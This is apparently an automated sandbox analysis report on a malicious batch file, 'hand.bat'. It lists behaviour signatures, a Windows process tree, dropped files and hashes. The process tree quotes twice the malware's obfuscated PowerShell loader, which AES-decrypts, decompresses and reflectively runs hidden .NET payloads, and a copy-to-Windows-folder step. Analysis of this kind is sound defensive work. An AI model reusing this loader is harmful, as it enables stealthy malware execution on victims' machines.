Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-11-2024 21:24

General

  • Target

    hand.bat

  • Size

    7.0MB

  • MD5

    1a013c7ac90b58073895b26cae70def7

  • SHA1

    60c9c3294fc7ac3d336a478274f62f4818498230

  • SHA256

    698b1f0a35a76e57adef388612b29902f86f56983c772d7c6c17b4483c2be688

  • SHA512

    c1bbb52e8546b352e041e944d7dfa158d5dc9a51b1628128d345e4a9e708871d7a1f5e59cc44a2c66f8dc9af81ec06e1b5105d5a7292497075564496f3b0ec75

  • SSDEEP

    49152:vZrlGoT+Xts/LJjeDPnIwT0ZFBZP2x3fLKs0HMb0DprNMiKwPjp9Kw2EdF8d7nrx:Y

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 8 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 16 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 30 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:640
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
        PID:548
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{c1906579-d414-40e0-be3d-afde0745f167}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5008
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:3296
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Checks SCSI registry key(s)
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:3176
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:3440
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:2904
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:3152
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Checks SCSI registry key(s)
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:4064
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:380
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:4232
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x0 /state0:0xa3a1d855 /state1:0x41c64e6d
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:5060
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:696
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:996
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
        1⤵
          PID:772
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:724
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
            1⤵
              PID:1064
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1088
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                  PID:1128
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1152
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                    1⤵
                      PID:1248
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1288
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1356
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            2⤵
                              PID:2564
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1492
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                              1⤵
                              • Indicator Removal: Clear Windows Event Logs
                              PID:1508
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1592
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1608
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1716
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1724
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1776
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1872
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1884
                                            • C:\Windows\system32\AUDIODG.EXE
                                              C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004C8
                                              2⤵
                                                PID:5076
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1952
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1968
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:1052
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1172
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2104
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2212
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                          1⤵
                                                            PID:2432
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2440
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkService -p
                                                              1⤵
                                                                PID:2480
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2532
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2576
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2588
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                    1⤵
                                                                      PID:2616
                                                                      • C:\Windows\system32\wbem\WMIADAP.EXE
                                                                        wmiadap.exe /R /T
                                                                        2⤵
                                                                        • Drops file in System32 directory
                                                                        PID:1380
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2624
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2632
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:808
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:3080
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of FindShellTrayWindow
                                                                              • Suspicious use of SendNotifyMessage
                                                                              PID:3372
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hand.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:3120
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd.exe /c echo function iuYgv($leKgl){ $jPJwb=[System.Security.Cryptography.Aes]::Create(); $jPJwb.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jPJwb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jPJwb.Key=[System.Convert]::FromBase64String('uEpqIWQRyvODISCHGUQfxzSWFesSqTmCOTn7Muaq1uk='); $jPJwb.IV=[System.Convert]::FromBase64String('II7XtEw/4tOoxMX0yT4prg=='); $kNTLM=$jPJwb.CreateDecryptor(); $whegU=$kNTLM.TransformFinalBlock($leKgl, 0, $leKgl.Length); $kNTLM.Dispose(); $jPJwb.Dispose(); $whegU;}function zpxNq($leKgl){ Invoke-Expression '$kWPKo=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$leKgl);'.Replace('*', ''); Invoke-Expression '$UAPJw=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$SDRXH=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($kWPKo, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $SDRXH.CopyTo($UAPJw); $SDRXH.Dispose(); $kWPKo.Dispose(); $UAPJw.Dispose(); $UAPJw.ToArray();}function efQtH($leKgl,$kxxMo){ Invoke-Expression '$ECSjU=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$leKgl);'.Replace('*', ''); Invoke-Expression '$iUybu=$ECSjU.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$iUybu.*I*n*v*o*k*e*($null, $kxxMo);'.Replace('*', '');}$bdjtW = 'C:\Users\Admin\AppData\Local\Temp\hand.bat';$host.UI.RawUI.WindowTitle = $bdjtW;$sWPvP=[System.IO.File]::ReadAllText($bdjtW).Split([Environment]::NewLine);foreach ($fLYEN in $sWPvP) { if ($fLYEN.StartsWith('ECVXS')) { $GELOT=$fLYEN.Substring(5); break; }}$XQqqI=[string[]]$GELOT.Split('\');Invoke-Expression '$gOc = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$saB = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UaX = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');efQtH $gOc $null;efQtH $saB $null;efQtH $UaX (,[string[]] (''));
                                                                                  3⤵
                                                                                    PID:4308
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell.exe -WindowStyle Hidden
                                                                                    3⤵
                                                                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious use of SetThreadContext
                                                                                    • Drops file in Windows directory
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4800
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\hand.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
                                                                                      4⤵
                                                                                      • Drops file in Windows directory
                                                                                      PID:4724
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
                                                                                      4⤵
                                                                                        PID:2380
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          cmd.exe /c echo function iuYgv($leKgl){ $jPJwb=[System.Security.Cryptography.Aes]::Create(); $jPJwb.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jPJwb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jPJwb.Key=[System.Convert]::FromBase64String('uEpqIWQRyvODISCHGUQfxzSWFesSqTmCOTn7Muaq1uk='); $jPJwb.IV=[System.Convert]::FromBase64String('II7XtEw/4tOoxMX0yT4prg=='); $kNTLM=$jPJwb.CreateDecryptor(); $whegU=$kNTLM.TransformFinalBlock($leKgl, 0, $leKgl.Length); $kNTLM.Dispose(); $jPJwb.Dispose(); $whegU;}function zpxNq($leKgl){ Invoke-Expression '$kWPKo=New-Object *S*y*s*t*e*m*.*I*O*.M*em*or*yS*tr*ea*m(,$leKgl);'.Replace('*', ''); Invoke-Expression '$UAPJw=New-Object *S*y*s*t*e*m*.*I*O*.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); Invoke-Expression '$SDRXH=New-Object S*y*s*t*e*m*.*I*O*.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($kWPKo, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $SDRXH.CopyTo($UAPJw); $SDRXH.Dispose(); $kWPKo.Dispose(); $UAPJw.Dispose(); $UAPJw.ToArray();}function efQtH($leKgl,$kxxMo){ Invoke-Expression '$ECSjU=[*S*y*s*t*e*m*.*R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$leKgl);'.Replace('*', ''); Invoke-Expression '$iUybu=$ECSjU.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); Invoke-Expression '$iUybu.*I*n*v*o*k*e*($null, $kxxMo);'.Replace('*', '');}$bdjtW = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $bdjtW;$sWPvP=[System.IO.File]::ReadAllText($bdjtW).Split([Environment]::NewLine);foreach ($fLYEN in $sWPvP) { if ($fLYEN.StartsWith('ECVXS')) { $GELOT=$fLYEN.Substring(5); break; }}$XQqqI=[string[]]$GELOT.Split('\');Invoke-Expression '$gOc = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[0].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$saB = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[1].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');Invoke-Expression '$UaX = zpxNq (iuYgv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($XQqqI[2].Replace("#", "/").Replace("@", "A"))));'.Replace('*', '');efQtH $gOc $null;efQtH $saB $null;efQtH $UaX (,[string[]] (''));
                                                                                          5⤵
                                                                                            PID:3692
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell.exe -WindowStyle Hidden
                                                                                            5⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:3504
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3496
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                      1⤵
                                                                                        PID:3548
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3896
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                          1⤵
                                                                                            PID:4016
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:4068
                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                              1⤵
                                                                                                PID:3636
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                1⤵
                                                                                                  PID:4396
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                  1⤵
                                                                                                    PID:4472
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                    1⤵
                                                                                                      PID:2560
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                      1⤵
                                                                                                        PID:4672
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                        1⤵
                                                                                                          PID:2680
                                                                                                        • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                          "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                          1⤵
                                                                                                          • Drops file in System32 directory
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:1464
                                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:1644
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                            1⤵
                                                                                                              PID:2032
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                              1⤵
                                                                                                                PID:2056
                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                1⤵
                                                                                                                  PID:3400
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                  1⤵
                                                                                                                    PID:4184
                                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                      PID:2844
                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                      C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                      1⤵
                                                                                                                        PID:2252
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
                                                                                                                        1⤵
                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                        PID:1420
                                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                                        \SystemRoot\System32\smss.exe 00000110 0000008c
                                                                                                                        1⤵
                                                                                                                          PID:3152
                                                                                                                        • C:\Windows\System32\smss.exe
                                                                                                                          \SystemRoot\System32\smss.exe 00000104 0000008c
                                                                                                                          1⤵
                                                                                                                            PID:4800
                                                                                                                          • C:\Windows\System32\smss.exe
                                                                                                                            \SystemRoot\System32\smss.exe 000000e0 0000008c
                                                                                                                            1⤵
                                                                                                                              PID:3176
                                                                                                                            • C:\Windows\System32\smss.exe
                                                                                                                              \SystemRoot\System32\smss.exe 0000010c 0000008c
                                                                                                                              1⤵
                                                                                                                                PID:2904
                                                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                1⤵
                                                                                                                                  PID:4884
                                                                                                                                • C:\Windows\System32\smss.exe
                                                                                                                                  \SystemRoot\System32\smss.exe 00000114 0000008c
                                                                                                                                  1⤵
                                                                                                                                    PID:3440
                                                                                                                                  • C:\Windows\System32\smss.exe
                                                                                                                                    \SystemRoot\System32\smss.exe 00000104 0000008c
                                                                                                                                    1⤵
                                                                                                                                      PID:4064
                                                                                                                                    • C:\Windows\System32\smss.exe
                                                                                                                                      \SystemRoot\System32\smss.exe 000000f0 0000008c
                                                                                                                                      1⤵
                                                                                                                                        PID:4348
                                                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                                                        \SystemRoot\System32\smss.exe 00000118 0000008c
                                                                                                                                        1⤵
                                                                                                                                          PID:4664
                                                                                                                                        • C:\Windows\System32\smss.exe
                                                                                                                                          \SystemRoot\System32\smss.exe 000000c0 0000008c
                                                                                                                                          1⤵
                                                                                                                                            PID:3692
                                                                                                                                          • C:\Windows\System32\smss.exe
                                                                                                                                            \SystemRoot\System32\smss.exe 00000100 0000008c
                                                                                                                                            1⤵
                                                                                                                                              PID:3504
                                                                                                                                            • C:\Windows\System32\smss.exe
                                                                                                                                              \SystemRoot\System32\smss.exe 00000138 0000008c
                                                                                                                                              1⤵
                                                                                                                                                PID:3504
                                                                                                                                              • C:\Windows\System32\smss.exe
                                                                                                                                                \SystemRoot\System32\smss.exe 00000104 0000008c
                                                                                                                                                1⤵
                                                                                                                                                  PID:5060

                                                                                                                                                Network

                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                Replay Monitor

                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                Downloads

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                  Filesize

                                                                                                                                                  3KB

                                                                                                                                                  MD5

                                                                                                                                                  da760f8b53fcde92d67d6a610f0a4707

                                                                                                                                                  SHA1

                                                                                                                                                  8c75b58f43455329c26520540461832bb90bffeb

                                                                                                                                                  SHA256

                                                                                                                                                  1435d59e62d35d663ae54ca74cebd76a20b00380e3aa189b5d9567cdce7e7528

                                                                                                                                                  SHA512

                                                                                                                                                  90e62d0fe87dfc7810cbf864d6a984f2b4c24add105f18d375221d2e0f7637f7a1c2e34afe92dcbfccb5a435e8dd6c4ca87a9d79a0fff29bd79a0ac21846e3e0

                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                  Filesize

                                                                                                                                                  1KB

                                                                                                                                                  MD5

                                                                                                                                                  aedb4691b4a410acfe415bdf5817c0d9

                                                                                                                                                  SHA1

                                                                                                                                                  acdbec00fdeb48253388f5fa7439e26cbfdebe7d

                                                                                                                                                  SHA256

                                                                                                                                                  cc4e216fe6e882b37196e3a34129e18d386c2541c6527297b84e0350b212cb42

                                                                                                                                                  SHA512

                                                                                                                                                  1712ac283dc4675ed270c62a0599302a2f3974e2668d1a6b04216b0819800b3e7bef124ba497767bd12c9f887ce34239eb4508a4220a6ba6e75393a370a8fc4e

                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_luwja0bg.z15.ps1

                                                                                                                                                  Filesize

                                                                                                                                                  60B

                                                                                                                                                  MD5

                                                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                  SHA1

                                                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                  SHA256

                                                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                  SHA512

                                                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                • C:\Windows\$rbx-onimai2\$rbx-CO2.bat

                                                                                                                                                  Filesize

                                                                                                                                                  7.0MB

                                                                                                                                                  MD5

                                                                                                                                                  1a013c7ac90b58073895b26cae70def7

                                                                                                                                                  SHA1

                                                                                                                                                  60c9c3294fc7ac3d336a478274f62f4818498230

                                                                                                                                                  SHA256

                                                                                                                                                  698b1f0a35a76e57adef388612b29902f86f56983c772d7c6c17b4483c2be688

                                                                                                                                                  SHA512

                                                                                                                                                  c1bbb52e8546b352e041e944d7dfa158d5dc9a51b1628128d345e4a9e708871d7a1f5e59cc44a2c66f8dc9af81ec06e1b5105d5a7292497075564496f3b0ec75

                                                                                                                                                • memory/548-112-0x00007FFB5FFC6000-0x00007FFB5FFC7000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4KB

                                                                                                                                                • memory/548-110-0x00007FFB5FFC4000-0x00007FFB5FFC5000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4KB

                                                                                                                                                • memory/548-111-0x00007FFB5FFC3000-0x00007FFB5FFC4000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4KB

                                                                                                                                                • memory/640-51-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/640-53-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/640-92-0x000002072A080000-0x000002072A0A4000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  144KB

                                                                                                                                                • memory/640-1330-0x000002072A080000-0x000002072A0A4000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  144KB

                                                                                                                                                • memory/640-37-0x000002072A080000-0x000002072A0A4000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  144KB

                                                                                                                                                • memory/640-39-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/640-38-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/640-47-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/640-48-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/640-49-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

                                                                                                                                                • memory/640-50-0x000002072A0B0000-0x000002072A0DA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  168KB

